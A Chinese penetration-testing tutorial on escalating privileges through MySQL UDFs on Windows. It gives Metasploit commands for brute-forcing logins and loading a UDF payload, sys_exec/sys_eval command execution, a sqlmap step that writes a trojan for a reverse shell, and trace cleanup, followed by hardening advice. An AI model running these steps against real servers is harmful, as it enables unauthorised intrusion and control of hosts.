Window環(huán)境下MySQL?UDF提權(quán)
前言
本文章僅記錄某次內(nèi)網(wǎng)滲透過程中遇到的MySQL 采用UDF提權(quán)等方式進行獲取權(quán)限,文章中內(nèi)容僅用于技術(shù)交流,切勿用于非授權(quán)下滲透攻擊行為,慎重?。。?/p>
一、UDF簡介
UDF(Userdefined function)可以翻譯為用戶自定義函數(shù),其為mysql的一個拓展接口,可以為Mysql增添一些函數(shù),對MySQL的功能進行擴充,然后就可以在MySQL中進行使用這些函數(shù)了。
攻擊者通過編寫調(diào)用cmd或shell的udf.dll/udf.so文件,并且導入到指定的文件夾目錄下,創(chuàng)建一個指向udf.dll/udf.so的自定義函數(shù),從而在數(shù)據(jù)庫中的查詢就等價于在cmd或shell中執(zhí)行命令。
二、UDF提權(quán)條件
1、MySQL數(shù)據(jù)庫的Root權(quán)限(可以通過賬號密碼遠程登錄到Mysql數(shù)據(jù)庫)
2、MySQL具有寫入文件的權(quán)限(即Secure_file_priv的值為空,不為空時必須有寫入my.ini的權(quán)限)
連接MySQL數(shù)據(jù)庫后,通過SQL語句show global variables like '%secure%';
查看secure_file_priv的值。
當secure_file_priv的值為NULL,表示限制mysqld不允許導入|導出,此時無法提權(quán)。
當secure_file_priv的值為/tmp/, 表示限制mysqld的導入|導出只能發(fā)生在/tmp/目錄下,此時也無法提權(quán);
當secure_file_priv的值沒有具體值時,表示不對mysqld的導入|導出做限制,此時可提權(quán)。
如果secure_file_priv的值不是空,需要在MySQL/my.ini中設(shè)置secure_file_priv參數(shù)為secure_file_priv =
三、上傳動態(tài)鏈接庫文件
動態(tài)鏈接庫就是實現(xiàn)共享函數(shù)庫概念的一種方式,在windows環(huán)境下后綴名為 .dll ,在Linux環(huán)境下后綴名為 .so ,我們要將該文件放在特定的目錄中,該文件中包含了執(zhí)行系統(tǒng)命令的一些函數(shù)。
MySQL版本大于5.1
,udf.dll文件必須放置在mysql安裝目錄的lib\plugin
文件夾下(plugin文件夾默認不存在,需要自行創(chuàng)建;MySQL安裝目錄可以通過select basedir() 或者select @@basedir 查看)
MySQL版本小于5.1
,udf.dll文件在win2003下放置于C:\Windows
或者C:\Windows\system32
目錄,在win2000下放置在C:\Winnt\system32
目錄。
四、UDF提權(quán)步驟
1、查看secure_file_priv的值
Secure_file_priv是用來限制load dumpfile、into outfile、load_file() 函數(shù)在哪個目錄下?lián)碛猩蟼骰蛘咦x取文件的權(quán)限。
輸入語句:show global variables like '%secure%';
##值為空即可操作
2、查看plugin的值
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
當 plugin 的值為空時不可提權(quán)
當 plugin 值為 mysql_native_password 時可通過賬戶連接提權(quán)
實際測試發(fā)現(xiàn)UDF提權(quán)成功與否與該值無關(guān)。
3、查看系統(tǒng)構(gòu)架以及plugin目錄
Show variables like '%compile%'; //查看主機版本及架構(gòu)
show variables like '%plugin%'; //查看 plugin 目錄
MSF漏洞驗證
使用MSF搜索關(guān)于MySQL輔助利用腳本
search mysql
使用弱口令掃描腳本,并查看需要配置選項
use auxiliary/scanner/mysql/mysql_login show options
可配置 pass_file(暴力破解字典,所在絕對路徑)在不知道密碼的情況下可使用
配置 RHOSTS (靶機IP地址)
set rhosts 192.168.x.x/24 (可批量掃描)
配置USERNAME(靶機MySQL服務(wù)用戶名
)或者配置USER_FILE(用戶名字典
)
方法二選一
set pass_file /top100.txt set rhosts 192.168.x.x set username root run 或者 exploit 進行攻擊?。。?
以上兩種方法是在未知MySQL數(shù)據(jù)庫賬密情況下進行爆破方式,具體以實際情況為主。
獲取MySQL的基礎(chǔ)信息
使用模塊:use auxiliary/admin/mysql/mysql_enum
set rhosts 192.168.x.x set password root set username root run
獲取MySQL基礎(chǔ)信息及其他存在用戶及其密碼
可使用CMD5或者john工具進行破解
接下來進行UDF提權(quán),加載攻擊載荷
use exploit/multi/mysql/mysql_udf_payload set rhosts 192.168.*.* set password root
在MySQL中執(zhí)行SQL語句,查看上傳的DLL文件名
select * from mysql.func;
執(zhí)行命令 select sys_exec("whoami");
如果返回結(jié)果為 0 就代表成功,返回1
代表失敗。
通過之前MSF生成的DLL文件創(chuàng)建sys_eval()
函數(shù),使執(zhí)行的命令存在回顯。
create function sys_eval returns string soname "****.dll";
再次執(zhí)行命令 select sys_eval("whoami");
可使用攻擊載荷 use auxiliary/admin/mysql/mysql_sql
進行后續(xù)其他命令操作
五、UDF提權(quán)反彈Shell
當UDF提權(quán)后,我們想反彈一個MSF或者CS的shell,首先呢使用CS的PowerShell反彈命令是不行的,這里由于powershell命令引號過多,不能執(zhí)行。
那么現(xiàn)在的思路就是執(zhí)行木馬文件,反彈Shell,這里由于sys_eval函數(shù)不能執(zhí)行Windows那些遠程下載命令,所以我們選擇通過sqlmap的寫入文件功能,將木馬寫入當前目錄。
首先,查看當前目錄
然后sqlmap寫入木馬,這里也是可以進行遠程下載的;
命令:sqlmap -u "http://192.168.x.x?id=1" --file-write msf.exe --file-est "C:\phpStudy\PHPTutorial\MySQL\data\*.exe"
執(zhí)行木馬反彈,這里需要注意的是,sys_eval函數(shù)只能執(zhí)行當前目錄下的文件,所以,也只能把文件寫入當前路徑下。
六、清理痕跡
命令:drop function sys_eval;
drop function sys_exec;
七、修復建議
1、mysql配置文件中 secure_file_priv 項設(shè)置為NULL或非 mysql/lib/plugin
目錄。
2、控制目錄訪問權(quán)限,例如控制/lib/plugin
,system32/wbem/mof
等目錄需要管理員權(quán)限訪問或者設(shè)置為只讀權(quán)限。
3、數(shù)據(jù)庫用戶確保正確實施最小權(quán)限原則。
到此這篇關(guān)于Window環(huán)境下MySQL UDF提權(quán)的文章就介紹到這了,更多相關(guān)MySQL UDF提權(quán)內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
工作中常用的mysql語句分享 不用php也可以實現(xiàn)的效果
本文給大家介紹幾條比較有用的MySQL的SQL語句,可能很多人都通過PHP來實現(xiàn)這些功能,其實數(shù)據(jù)也是能實現(xiàn)很多功能的2012-05-05mysql數(shù)據(jù)庫表增添字段,刪除字段,修改字段的排列等操作
這篇文章主要介紹了mysql數(shù)據(jù)庫表增添字段,刪除字段,修改字段的排列等操作,修改表指的是修改數(shù)據(jù)庫之后中已經(jīng)存在的數(shù)據(jù)表的結(jié)構(gòu)2022-07-07MySql創(chuàng)建帶解釋的表及給表和字段加注釋的實現(xiàn)代碼
這篇文章主要介紹了MySql創(chuàng)建帶解釋的表以及給表和字段加注釋的實現(xiàn)方法,非常不錯,具有參考借鑒價值,需要的朋友可以參考下2016-12-12Mysql?innoDB修改自增id起始數(shù)的方法步驟
本文主要介紹了Mysql?innoDB修改自增id起始數(shù)的方法步驟,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧<BR>2023-03-03mysql innodb的監(jiān)控(系統(tǒng)層,數(shù)據(jù)庫層)
這篇文章主要介紹了mysql innodb的監(jiān)控(系統(tǒng)層,數(shù)據(jù)庫層)的相關(guān)資料,需要的朋友可以參考下2017-04-04